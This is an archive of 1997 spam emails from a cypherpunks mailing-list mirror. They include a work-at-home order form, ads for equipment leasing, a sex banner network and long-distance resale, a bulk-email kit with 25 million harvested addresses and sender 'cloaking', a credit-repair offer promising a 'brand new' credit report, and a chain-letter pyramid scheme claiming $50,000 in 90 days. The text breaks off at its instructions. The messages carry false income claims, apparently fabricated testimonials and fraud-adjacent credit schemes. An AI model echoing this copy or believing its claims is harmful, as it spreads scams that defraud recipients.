This program is the perfect solution for housewives, students, the home-bound, as well as those seeking a solid second career.  The easy-to-follow manual and software package comes to your for only $49.95
----------------------------------------------------------------------
Look below to see how you can save $15 today!
----------------------------------------------------------------------
IMS
5201 Kingston Pike
Suite 6-216
Knoxville, Tennessee 37919

YES,  please rush the 'Work at Home Using My Personal Computer (c 1995) manual!

___________  I have enclosed $49.95 plus $4.95 shipping and handling. ($54.90 total)

___________  I want to save $10.00! I am ordering within 24 hours - I have enclosed $39.95 plus $4.95 shipping and handling. ($44.90 total)

___________ Please RUSH my order - add an additional $15.00 (OPTIONAL)

I have enclosed (Check One):

_____ Cashiers Check
_____ Money Order
_____ Personal Check

SHIPPING INFORMATION

Name:__________________________________________________

Telephone:_______-______-____________

Physical Street Address (NO PO BOXES please)__________________

_______________________________________________________

City:___________________________________________________

State:_________      ZIP:____________________________________

Your E-Mail Address (Needed for order confirmation)____________________________


 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

SAVE AN ADDITIONAL $5.00!!!  FAX YOUR ORDER NOW!

Please tape your completed and signed check in the space below and fax to IMS. That facsimile number is 1-423-681-6520.


*************************************


FAX: 1-423-681-6520


PLEASE TAPE YOUR CHECK HERE


Please SIGN you check

*************************************

Thank You For Your Order

2156887000908001546877


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 01450468@gte.net
Date: Sat, 16 Aug 1997 06:22:21 -0700 (PDT)
To: norisk@laiteis.com
Subject: 24 Hour Approval, Low Lease Rates
Message-ID: <189702170025GAA08045@laiteis.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
---------------------------------------------------------------------------------------------------------------------
    This advertisement brought to you by Email Power, as a person
     interested in leasing equipment at very favorable rates if we have
     sent  this to you by mistake, please accept our apology , to be
     removed from this list see the instructions below thank you!
---------------------------------------------------------------------------------------------------------------------                                                                                                                              
Heritage Pacific Leasing , one of the leading lease companies today,
currently has an abundance of funds available for NEW leasing Clients!!

Our Lease Plans have provided affordable solutions, and  funds
for every conceivable type of equipment!!

Whether you are in need of a new computer, or fax machine, or a whole
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equipment , we are your solution!!

We offer very competitive rates, E-Z qualifying, and approval in as
little as 24 hours!! 

Remember a properly designed lease program provides additional
TAX advantages over more conventional methods of financing and 
typically cost less in terms of  $$CA$H FLOW$$

Let us show you how E-Z and FAST, we can design a lease for YOU, 
email our autoresponder now, for more information and an E-Z
application Form!!

mailto:netpower@answerme.com

To be removed from this list please put remove in the subject and
mailto:removemenow@answerme.com

Questions or advertising rates from EmailPower? mailto:promotions@answerme.com

    


</FONT><FONT  COLOR="#000000" SIZE=3>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root@firstcounter.com
Date: Sat, 16 Aug 1997 12:24:38 -0700 (PDT)
To: root@firstcounter.com
Subject: LINKS
Message-ID: <199708161457.KAA04495@firstmachine.firstcounter.com>
MIME-Version: 1.0
Content-Type: text/plain


______________________________________________________________________
        If you wish to be removed from our future mailings, please reply with "Remove"
        in the Subject line and we will automatically block you from our future mailings. If you do         anything but instructed you can not be removed automatically.
_________________________________________________________________________

            Are you tired of finding link pages and once listed get no traffic?

            Sick of trying to find places to get you banner displayed for FREE?

            Do you want to increase your traffic and sales?


SEX LINK NETWORK WILL INCREASE TRAFFIC, DISPLAY YOU BANNER ON ALL 
MEMBER SITES -- AND WE WILL DO IT FOR FREE!

The Sex Link Network has just finished beta testing the ultimate link exchange system and is waiting your participation. In less than one week we are already delivering over 250,000 banner impressions a day!

When you become a member of the Sex Link Network today we will give you a listing and detailed description of your site.  PLUS GET FREE BANNER ADVERTISING!

That's right FREE BANNER ADVERTISING! After you have signed up as a Sex Link Network member you need only up-load your banner to our sever and your banner ad is then in rotation.
Your banner will rotate equally on all member sites. Imagine the potential increase in traffic. 

            BEST OF ALL SEX LINK NETWORK DOES NOT COST YOU A CENT!

Get your site listed instantly! Complete  the 60 second registration and your are on the Sex Link Network Site. After you up-load your banner to Sex Link Network your banner ad is placed in automatic rotation - immediately.

Sign up NOW for membership and get more traffic to your site today! 


Sign-up TODAY at  http://www.sexlink.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 1848_tsr@rapidd.com
Date: Sat, 16 Aug 1997 17:52:39 -0700 (PDT)
To: pplent@mail5.voicenet.com
Subject: Complete Bulk Email Pkg. ONLY $49.95
Message-ID: <199708170049.UAA24403@mail5.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


                  
                     *********************SUMMER PROMOTION******************

Complete Bulk Email Package inluding 25 Million Email Addresses only $49.95

Email Blaster ranks up with all the other bulk email software such as Floodgate,
Email Magnet, Netcontact, Extractor Pro. etc at hundreds of dollars less!!!

Why pay $399 just for a bulk email software, when you can pay
$49.95 including email addresses???

HOW DOES E-MAIL BLASTER WORK?  E-Mail Blaster has dozens of special filters 
to automatically harvest E-mail addresses from major online services such as: 
America OnLine, Compuserve,Delphi, Genie, and of course the internet and will
email your marketing letter to 13k consumers per hour at the single push of a 
button!!!  

SPECIAL CLOAKING DEVICE: Email Blaster can successfully hide your email address.
This will help stop users from flaming your email box! 


SIMPLE TO USE:  E-Mail Blaster does all the work for you and, unlike other
E-mail programs, with E-Mail Blaster there is no need to purchase any 
additional software.

NO SPECIAL EQUIPMENT NEEDED: E-Mail Blastert runs on a PC with Windows
3.xx Windows 95, Windows NT, a 386 or faster processor, 4 MB RAM, and a 
hard drive with at least 10 MB free and your own SLIP or PPP connetion.  No
other software needed.  Also runs on a Macintosh with SoftWindows installed

    
                       Plus....
You can become a distributor of Email Blaster for only $99 and you receive
5 Complete Email Blaster packages. 

Let's say you resell Email Blaster package at a discount of $199 each.
$199 x 5 packages = $995 CASH!!! Your potential is unlimited!

Price List
5 Packages: $99     10 Packages: $149       20 Packages      $299.
Larger quantity discounts are available upon request.

What are you waiting for start making money today SIGN UP NOW!!!
**********************************************************************************************************
 Don't miss out on this Summer Promotion!!! ORDER NOW!!!
Telephone: 609-933-3527 Fax: 609-933-1499



Name: _____________________________________________________


Address:____________________________________________________


City:___________________________________________


State:___________________________


Zip:_____________________________


Telephone::_____________________________________________


E-Mail Address:__________________________________________


Once we receive your order, you will receive a confirmation email, this
will  inform you of our website for you to go download your package immediately!
----------------------------------------------------------------------------------------------------------------------------------
"COMPLETE EMAIL BLASTER PACKAGE" only $49.95 ________

1 Copy of Email Blaster 

1 Electronic Help System: Email Blaster Help System will provide you with step
by step directions on how to use Email Blaster and help with setting up your provider.
For your convience this is built right into your copy of Email Blaster.

Unlimited Email Addresses: 25 Million And Growing
 You can download these addresses right from our website at your convenience.


-----------------------------------------------------------------------------------------------------------------------------------------
5 DISTRIBUTOR PACKAGE only $99: _________
This is a Special Promotion to new distributors only!!!


5 Copies of Email Blaster 

5  Built in Electronic Help Systems:

5 Unlimited Email Addresses: 25 Million And Growing
Our Email Addresses are updated monthly.  You can download these addresses
right from our website at your convenience.

Now you can take advantage of Email Blaster Package and resell each 
package up to $299. each.  You make $1495


10  DISTRIBUTOR PACK  only $149. _______
Includes 10 Complete Packages of Email Blaster.
You can make up to  $2990.00

20 DISTRIBUTOR  PACK: ONLY $299 ________
Includes 20 Complete Packages of Email Blaster.
You can make up to  $5980.00

*************************************************************************************************
If you would like to pay by check, please make check payable to: Internet Marketing
mail to: PO Box 276 Bellmawr, NJ 08099 or  Fax to 1-609-933-1499 along with this order form.
If you are paying with a Fax Check please include an additional $3.00 for check processing fees.

Credit Card: _______________________________________________
Visa, Master Card and AMEX.

EXP. Date: _____________________


Total to be charged: $________________________



Signature:___________________________________________________________



























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: helledge@oilfieldtrash.com
Date: Sun, 17 Aug 1997 07:39:40 -0700 (PDT)
To: helledge@oilfieldtrash.com
Subject: Reduce your long distance bills
Message-ID: <199708171439.HAA14839@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This Message was Composed using Extractor Pro Bulk E- Mail Software. If 
you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and this software will automatically block you 
from their future mailings.
////////////////////////////////////////////////////////////////////////////////
True Residual Income-FCI Communications


Hello there,

Every day I check my mail, I get another solicitation from one of 
those 5.9 or 7.9 cent per minute scams.  In fact, I am also getting 
faxes a couple times per week by the same or similar groups.

They always ask for a sign up fee of anywhere from $29.95 to $100 
or more; $50 is the most common.  These con artists are coming and 
going every week now, some undoubtedly collecting $1000's in up front 
fees for the right to promote a non-existent service for a non-existent
commission.

I'm writing this message to you in an effort to spread the truth about
these fraudulent scam artists.

I am a 60 year old, practicing international petroleum engineer and I 
supplement my income by working in the telecommunications industry.  
I have traveled to 58 countries and therefore have paid my share of high 
long distance calls. I have been around the block more than a few times, 
and I can tell you this: The best deal any average consumer is going to 
get in this country today is a 9.9 cent per minute flat rate, if you know 
where to go.  Here is the reason why:

Whenever a long distance call is placed, there are fees charged 
by your local telephone company, called "origination" fees, and fees 
charged by the receiver a local telephone company, called "landing" fees.  
These fees are regulated by the federal government.  On average, the 
combined origination/landing fees are 6.5 to 7.5 cents per minute, 
depending on the telephone companies involved.

In addition to those fees, the carrier that connects the call 
over long distances via fiber, copper, and/or satellite links carries a 
cost for that call of at least 1 cent, and sometimes more.  This
brings the COST for that call to 7.5 to 8.5 cents per minute.

Then, there are the administrative costs associated with the 
calls in the form of "rating" the call data, "formatting" the calls in a 
logical manner to present them to the consumer (both processes are 
extremely computer intensive , AND postage, paper, and labor, in the 
form of customer service, and equipment maintenance.  Conservatively, 
these costs add another .5 (one half) cent, bringing the true COST of a 
long distance telephone call to anywhere from 8 to 9 cents per minute.

Finally, there is the cost of distribution, i.e.: marketing and
advertising.  The commercials that you see on television every 
day for the big carriers are not free to those companies.  In fact, they 
spend millions of dollars every DAY to push their long distance 
service, which, remember, is costing THEM 8 to 9 cents per minute.

When you see a commercial for Sprint, for example, make sure you 
watch the fine print.  Their "dime line" only applies during evenings 
after 7pm, and during the weekend.  Every weekday from 7am to 7pm 
the cost is 25 cents per minute.

AT&T has taken a more honest approach recently with their "one 
rate", yet even they are still charging 15 cents per minute.

MCI has so many plans now, you're lucky if you'll ever know how 
much you're paying for a long distance call until you look at your 
bill. (if you dare)

Telecommunications "resellers" are the real wave of the future.  
These companies purchase transmission time from major carriers, and 
bill their customers themselves, while still providing the exact same 
service at a much lower cost.

Their customers are still physically utilizing the major carriers 
for service, but simply receive their BILLS for their calls from the
reseller or "rebiller".

Since deregulation in 1984, the reseller industry has grown to 
over $12 BILLION per year, and industry experts predict that by the 
year 2000, the majority of telecommunications usage will be handled by 
resellers utilizing the major carriers.

How can they do this?  By being creative in their marketing 
approach, and keeping the cost of distribution down to an absolute 
minimum. The most cost-efficient way to market telecommunications 
is via an agent network, i.e.: individuals working for the reseller on a 
commission-only basis.

The best rate any individual can receive today is through a 
reseller for a major carrier.  I am a customer and agent for a company 
called FCI, which is a direct reseller for IXC Communications, Inc., the 
USA's 5th largest coast-to-coast fiber optic network.  IXC currently 
provides 1000's of miles of fiber for AT&T, Sprint, MCI, and the federal
government.

FCI offers a flat rate 9.9 cent per minute rate for 1+ long 
distance AND 800 usage, and bills its customers in 6 second 
increments, instead of full minute increments like the big carriers do.  
This results in savings to consumers of an additional 10%-25%, 
depending on the types of calls placed.

FCI is also nearly finished completing a "web page billing" 
system which will be a great benefit to the consumer, as they will be able to 
see the actual calls they place on a DAILY basis, as well as their cost 
for those calls.  When in place, FCI will be the ONLY long distance 
company in the nation offering this unique service.

The Wall Street journal, as well as the FOX News Channel, have 
recently featured FCI and their unique approach to the long distance 
market.  FCI is a truly revolutionary company, and has been gaining 
acclaim across the nation and particularly on the internet.

As a reseller, FCI has the right to work with other carriers if they are 
presented with better rates for their customers.  FCI has recently chosen to 
work with ITL (International Telecom Ltd) for its superior international 
calling rates, such as the following flat rates per minute  (US origination):



	U K		.185
	Russia		.670
	France		.280
	Greece		.475
	Israel		.690
	Japan		.360  (this is not a typo!)
	China		.810

For more information on FCI and how you can even earn a great 
residual income by promoting their service like I do, you may visit 
my FCI Web Page at:

http://freedomstarr.com/?EL3544771.

You will have the opportunity to sign up for service online, and get a 
free web page to promote the service, with an opportunity to earn 
up to 5% residual commissions on other people's usage.  There is no 
"sign up" or "agent" fee to participate in the program.

I hope this note finds you and yours in good health.

Good luck and warm regards,


Harold W. Elledge





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailhost@aol.com
Date: Wed, 17 Sep 1997 23:18:14 -0700 (PDT)
To: credaide@6065workathome.com
Subject: Your Credit Report
Message-ID: <10899982YYZ25037@6065workathome.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
    *AS SEEN ON TV * AS SEEN ON TV * AS SEEN ON TV* AS SEEN ON TV*
//////////////////////////////////////////////////////////////////////

If you received this electronic mailing by mistake, please pardon our intrusion.

Dear Friend,

Are you or somebody that you know experiencing credit problems?  If your answer is yes, I think you will be very interested in our special offer. No longer will you have to live like a second class citizen due to a bad credit report. Bad credit is caused by a variety of reasons:  Health, divorce, termination of employment, loss of income and dozens of other reasons. The bottom line is that bad credit can happen to anybody.  There is no specific profile of a person with credit problems. It can happen to doctors, lawyers, accountants, the mail man, truck drivers, housekeepers and salesmen. As a matter of fact, one in three Americans live with some form of bad credit. Fortunately, the United States Government has passed many laws under the Fair Credit Reporting Act, all of which protect your rights as a consumer. Our manuals will show you how to use these Federal laws to your advantage and repair or obtain a new credit report.

            ***** THE FRESH START PROGRAM (TM) *****

Have you seen your credit bureau report lately?  Have you recently been denied credit because of a bad cedit report? If you have answered yes, then you need to take advantage of THE FRESH START PROGRAM (TM). THE FRESH START PROGRAM (TM) will guide you through the process of obtaining a BRAND NEW credit bureau report. Our easy-to-follow manual will put you on the fast track to obtaining your new credit bureau report and can be accomplished within 24 hours! Regardless of your credit rating, you can NOW obtain a brand new, fresh credit bureau report free of:

		*  ANY bad credit
		*  Bankruptcies
		*  Judgements
		*  Foreclosures
		*  Charge-Off's
		*  Tax Lien's
		*  Repossessions
		*  Late pays
		*  Garnishments
		*  Inquiries

NOW, you can have a 'Clean Slate' and a 'FRESH START' with a brand new, credit bureau report.

//////////////////////////////////////////////////////////////////////

            ***** THE COMPLETE CREDIT REPAIR KIT (TM) *****

Good credit empowers you to qualify for personal loans, business loans, auto loans, credit cards, home loans and other types of credit you may apply for, at the best possible interest rate. As you know, if you don't have excellent credit, lenders will NEVER extend credit to you! The Fair Credit Reporting Act will allow you to legally and permanently ERASE the negative information on your credit bureau file. Anything that is damaging to your credit rating, may be removed:
Inquiries, Foreclosures, Repossessions, Charge-Off's, Late Payments
Student Loans, Bankruptcies and Judgements

The 'Credit Repair' companies located in every city will charge from $500.00 and up to do what our easy-to-follow manual will teach you. Now, in the privacy of your own home, you can repair your own credit at your own pace.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

                        ***** PROOF *****

"Having bad credit was the one thing holding me back from starting my own business. After working your program, I qualified for a $45,000 Small Business Loan. My business is making me more money than I've ever made.  Your program is truly priceless!"
					George S.  -  Fresno, CA.

"Thank you, thank you, thank you!  Before, my credit was totally trashed. After using your Fresh Start Program and using The Complete Credit Repair Kit, my wife and I qualified to purchase our first home with no down payment. These programs are worth thousands of dollars!"
					Kenneth T.  -  Ithica, NY

"After being laid off, my creditors were not very understanding when I couldn't pay my bills and as a result, my credit was very badly damaged.  Once I started working again, I couldn't qualify for any type of credit. After using the manuals, I qualified to buy a new car, with no down payment."
					Mr. Fred C.  -  Tampa, FL

"After my divorce, I was forced to file bankruptcy.  I was told my credit would be ruined for 10 years. After using the your manuals, I have great credit again.  I even receive pre-approved credit cards in the mail. Thank you so much for your amazing program.  I don't know what I could have done without it. I highly recommend your program to anyone who has credit problems."
					Ms. Anna S.  -  Tacoma, WA

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
YOU MAY BE ABLE TO EARN $1,500.00 FOR YOUR TESTIMONIAL ON OUR UPCOMING TV INFOMERCIAL.
DETAILS INCLUDED WITH YOUR ORDER.
//////////////////////////////////////////////////////////////////////

Don't let ANYONE tell you that you can not make the transition from a bad credit risk to that of preferred credit customer. Over 175,000 satisfied customers can't be wrong!  each manual, THE FRESH START PROGRAM (TM) and THE COMPLETE CREDIT REPAIR KIT (TM) is normally $89.95 + $3.95 S&H. However, if you take advantage of this special offer within the NEXT 24 HOURS, you will pay only $34.95 + $3.95 S+H for one program or you can take both programs for $54.95 +$3.95 S&H (U.S. Funds Only).  

To place your order, simply mail the form below, along with your certified check, money order, personal check or cash to:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
I.M.S.
5201 Kingston Pike, Suite 6-216
Knoxville, Tennessee 37919

Yes, please send the manual(s) checked below:

$34.95     THE FRESH START PROGRAM (TM)

$34.95     THE COMPLETE CREDIT REPAIR KIT (TM)		

$54.95     Both Programs				
				
$_____     Sub Total
				
$ 4.95     Shipping and handling
$(15.00)   RUSH Delivery (Optional)

$_____     Total Enclosed

I have enclosed (Check One): 
_____Cashiers Check
_____Money Order
_____Personal Check
_____Cash

SHIPPING INFORMATION:

Name:_________________________________________
Phone:_______--__________--___________________

Physical Street Address (NO P.O. BOXES):_______________________________________

City:______________________ 
State:____   Zip/Postal Code:_________________

Your E-Mail Address (Needed for order confirmation):________________________________

///////////////////////////////////////////////////

SAVE AN ADDITIONAL $5.00!!! FAX YOUR ORDER NOW!!!

Please tape your completed check in the space below and fax it along with your order to IMS.

That facsimile number is 1-423-681-6520 

*************************************************

                                               
  FAX: 1-423-681-6520                         
                                               
  Please Tape Your Check Here                  
                                               
  Please Sign Your check                       
                                               
                                               
*************************************************

Thank You For Your Order-All orders shipped same day.

654657809028556


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ezx45542@cttl.net
Date: Sun, 17 Aug 1997 15:06:45 -0700 (PDT)
To: elmailers@mirc.com
Subject: HI THERE
Message-ID: <123456789kv1234@mirc.com>
MIME-Version: 1.0
Content-Type: text/plain


Are you looking for a low cost advertising tool to reach out to
MILLIONS of potential customers?  Bulk E-mail is the ad tool
of the 21st century.  Its quick, easy, and inexpensive.

Bulk E-mail makes it possible for even a small business to compete
on the world market.  Imagine getting your message out to a million
people in a single day, and at a cost less than the price of a newspaper
ad that may only reach a few thousand.

The best part is, we do the work for you.  Simply fill out the order form 
below, and mail it to us, and we take care of the rest.  We will even 
mail/e-mail a report to you on how many, and to which domains your
mail was sent.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                                             ORDER FORM:
(if you don't have a printer, simply copy the necessary information on 
a blank paper.)

Quantity to be e-mailed:

_______X  100,000  @ $20.00 ea..........___________

_______X  1,000,000  @ $150.00 ea.......___________

10,000,000  @ $750.00................... ___________

Total Order...........................................................$____________

Mail check or money order to:                

KVC Marketing                                        
5120 Overland Rd  suite c-206
Boise, Id  83705  

Credit Card orders:

Name on card____________________________________

Account number_________________________________

Expiration Date______________

Authorized Signature______________________________
                                   

Send Bulk Mail confirmation?                 
 
No_____                                                

Yes____ 
To: either E-mail Address ____________@_______________
             
Or to: Name _________________________________ 

Address__________________________________

City_______________St_______Zip____________

-----------------------------------------------------------------------------------------------------------------------------------

Desired Text:

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

_________________________________________________________________

If specific domains are preferred, enter choices below.  (i.e. aol.com, juno.com, etc)

_________________________________________________________________


If you would like a clickable link to your website, enter URL here:

http://____________________________________________________________







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fredric_Olsson@hotmail.com
Date: Mon, 18 Aug 1997 13:18:08 -0700 (PDT)
To: Friend@public.com
Subject: Earn money fast and legal
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


 Dear friend,
 
 Please read the following information.  The income opportunity is one
 you may be interested in.  I am just an average person with basic
 computer knowledge and it has worked for me.  
 It can be started with VERY MINIMAL outlay and 
 the income return is TREMENDOUS!
 
 Please print this message and read it over twice.  You will not regret
 it, I sure haven't!  You will not receive another message from me, 
 so there is no need to remove yourself from any list if you are not 
 interested. I expect, however, you will be!
 
 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 You are about to make at least $50,000 - In less than 90 days
 Read the enclosed program...THEN READ IT AGAIN!...
 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
 
 THIS IS A LEGITIMATE and LEGAL money making opportunity.  It
 does not require you to come into contact with people, do any hard work,
 and best of all, you never have to leave your house except to get the
 mail. If you believe that someday you'll get that big break, you may wait
 forever unless you act.  This is a chance to act, and it will work.  
 Simply follow the instructions and you will make a handsome profit for 
 the few hours involved.
 
 Multi-level marketing (MLM) has gained national respectability.  It is
 being taught at Harvard Business School and both Stanford Research and 
 the Wall Street Journal have stated that between 50% and 65% of all goods
 and services will be sold through multi-level marketing by the late 1990s.
 This is a Billion-dollar industry and the of the 500,000 millionaires in 
 the United States, 20% (100,000) have made their fortune in the last 
 several years using MLM. Moreover, statistics show that approximately 
 45 people become millionaires each day through Multi-level marketing.
 
--------------------------------------------------------------------------

 
 The enclosed information is something I almost let slip through my
 fingers.  Fortunately, sometime later I re-read everything and gave
 some thought and study to it.
 
 My name is Christopher Erickson.  Two years ago, the corporation I
 worked at for the past twelve years down-sized and my position was
 eliminated.  After unproductive job interviews,  I decided to open my
 own business.  Over the past year, I incurred many unforeseen financial
 problems.  I owed my family, friends, and creditors over $35,000.  The
 economy was taking a toll on my business and I just couldn't seem to
 make ends meet.  I had to refinance and borrow against my home to
 support my family and struggling business.  I truly believe it was
 wrong for me to be in debt like this.  AT THAT MOMENT something
 significant happened in my life and I am writing to share my experience
 in hopes that this will change your life FOREVER....FINANCIALLY!!!
 
 In mid-December, I received this program via email.  Six months prior
 to receiving this program I had been sending away for information on
 various business opportunities.  All of the programs I received, in my
 opinion, were not cost effective.  They were either too difficult for
 me to comprehend or the initial investment was too much for me to risk
 to see if they worked or not.  One claimed I'd make a million dollars
 in one year...it didn't tell me I'd have to write a book to make it.
 
 But like I was saying, in December of '95 I received this program.  I
 didn't send for it, or ask for it, they just got my name off a mailing
 list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
 make sure I was reading it correctly, I couldn't believe my eyes.  Here
 was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
 start, without putting me further in debt.  After I got a pencil and
 paper and figured it out, I would at least get my money back.  After
 determining that the program is LEGAL and NOT A CHAIN LETTER, I decided
 "WHY NOT".
 
 Initially I sent out 10,000 emails.  It only cost me about $15.00 for
 my time on-line.  The great thing about email is that I didn't need any
 money for printing to send out the program, only the cost to fulfill my
 orders.  I am telling you like it is, I hope it doesn't turn you off,
 but I promised myself that I would not "rip-off" anyone, no matter how
 much money it cost me!
 
 (A good program to help do this is Stealth Mass Mailer,
 an email extracting and mass mail program which can
 be found @ http://www.mitent.com/stealth.html.  Shop around,
 you may be able to find a better deal.)
 
 In less than one week, I was starting to receive orders for REPORT #1.
 By January 13th, I had received 26 orders for REPORT #1.  When you read
 the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15
 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,
 SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making
 $50,000 in 20 to 90 days was done.  By January 30th, I had received
 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU
 MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN
 TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.
 ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
 WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
 96 more than I needed.  So I sat back and relaxed.  By March 19th, of
 my emailing of 10,000, I received $58,000 with more coming in every
 day.
 
 I paid off  ALL my debts and bought a much needed new car.  Please take
 time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
 Remember,  it wont work  if you don't try it.  This program does work,
 but you must follow it EXACTLY!  Especially the rules of not trying to
 place your name in a different place.  It doesn't work, you'll lose out
 on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
 guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
 REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
 LIVING PROOF THAT IT WORKS !!!
 
 If you choose not to participate in this program, I'm sorry.  It really
 is a great opportunity with little cost or risk to you.  If you choose
 to participate, follow the program and you will be on your way to
 financial security.
 
 If you are a fellow business owner and you are in financial trouble
 like I was, or you want to start your own business, consider this a
 sign.  I DID!
 
                          Sincerely,
                          Christopher Erickson
 
 P.S.  Do you have any idea what 11,700 $5 bills ($58,000) look like
 piled up on a kitchen table? IT'S AWESOME!
 
 
 ---------------------------------------------------------------------------






---------------------------------------
 A NOTE FROM THE ORIGINATOR OF THIS PROGRAM
 
 By the time you have read the enclosed information and looked over the
 enclosed program and reports, you should have concluded that such a
 program,  and  one that is legal,  could not have been created by an
 amateur.
 
 Let me tell you a little about myself.  I had a profitable business for
 ten years.  Then in 1979 my business began falling off.  I was doing
 the same things that were previously successful for me, but it wasn't
 working.  Finally, I figured it out.  It wasn't me, it was the economy.
 Inflation and recession had replaced the stable economy that had been
 with us since 1945.  I don't have to tell you what happened to the
 unemployment rate...because many of you know from first hand experience.
 There were more failures and bankruptcies than ever before.
 
 The middle class was vanishing.  Those who knew what they were doing
 invested wisely and moved up.  Those who did not, including those who
 never had anything to save or invest, were moving down into the ranks
 of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
 POORER."  The traditional methods of making money will never allow you
 to "move up" or "get rich", inflation will see to that.
 
 You have just received information that can give you financial freedom
 for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
 EFFORT."  You can make more money in the next few months than you have
 ever imagined.
 
 I should also point out that I will not see a penny of your money, nor
 anyone else who has provided a testimonial for this program.  I have
 already made over FOUR MILLION DOLLARS!  I have retired from the
 program after sending out over 16,000 programs.  Now I have several
 offices which market this and several other programs here in the US and
 overseas.  By the Spring, we wish to market the 'Internet' by a
 partnership with AMERICA ONLINE.
 
 Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
 It works exceedingly well as it is now.  Remember to email a copy of
 this exciting program to everyone that you can think of.  One of the
 people you send this to may send out 50,000...and your name will be on
 every one of them!.  Remember though, the more you send out, the more
 potential customers you will reach.
 
 So my friend, I have given you the ideas, information, materials and
 opportunity to become financially independent, IT IS UP TO YOU NOW!
 
 THINK ABOUT IT !
 
 Before you delete this program from your mailbox, as I almost did, take
 a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
 figure out what could happen when YOU participate.  Figure out the
 worst possible response and no matter how you calculate it, you will
 still make a lot of money!  Definitely get back what you invested.  Any
 doubts you have will vanish when your first orders come in.  IT WORKS!
 
                          Paul Johnson, Raleigh, NC
 
 HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
 
 Let's say that you decide to start small, just to see how it goes, and
 we'll assume you and all those involved send out 2,000 programs each.
 Let's also assume that the mailing receives a .5% response.  Using a
 good list the response could be much better.  Also many people will
 send out hundreds of thousands of programs instead of 2,000.  But
 continuing with this example, you send out only 2,000 programs.  With a
 5% response, that is only 10 orders for REPORT #1.  Those 10 people
 respond by sending out 2,000 programs each for a total of 20,000.  Out
 of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
 out 2,000 programs each for a total of 200,000.  The .5% response to
 that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
 programs each for a 2,000,000 total.  The .5% response to that is
 10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
 CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
 $50,000 for a total of $55,550!!!!
 
 REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
 MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
 DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
 OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe
 me, many people will do that and more!  By the way, your cost to
 participate
 in this is practically nothing.  You obviously already have an Internet
 connection and email is FREE!!!  REPORT #3 will show you the best
 methods for bulk emailing and purchasing email lists.
 
 THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
 require you to come in contact with people, do any hard work, and best
 of all, you never have to leave the house except to get the mail.  If
 you believe that someday you'll get that big break that you've been
 waiting for, THIS IS IT!  Simply follow the instructions, and your
 dream will come true.  This multi-level email order marketing program
 works perfectly...100% EVERY TIME.  Email is the sales tool of the
 future.  Take advantage of this non-commercialized method of
 advertising NOW!!  The longer you wait, the more people will be doing
 business using email.  Get your piece of this action!!
 
 
 INSTRUCTIONS
 
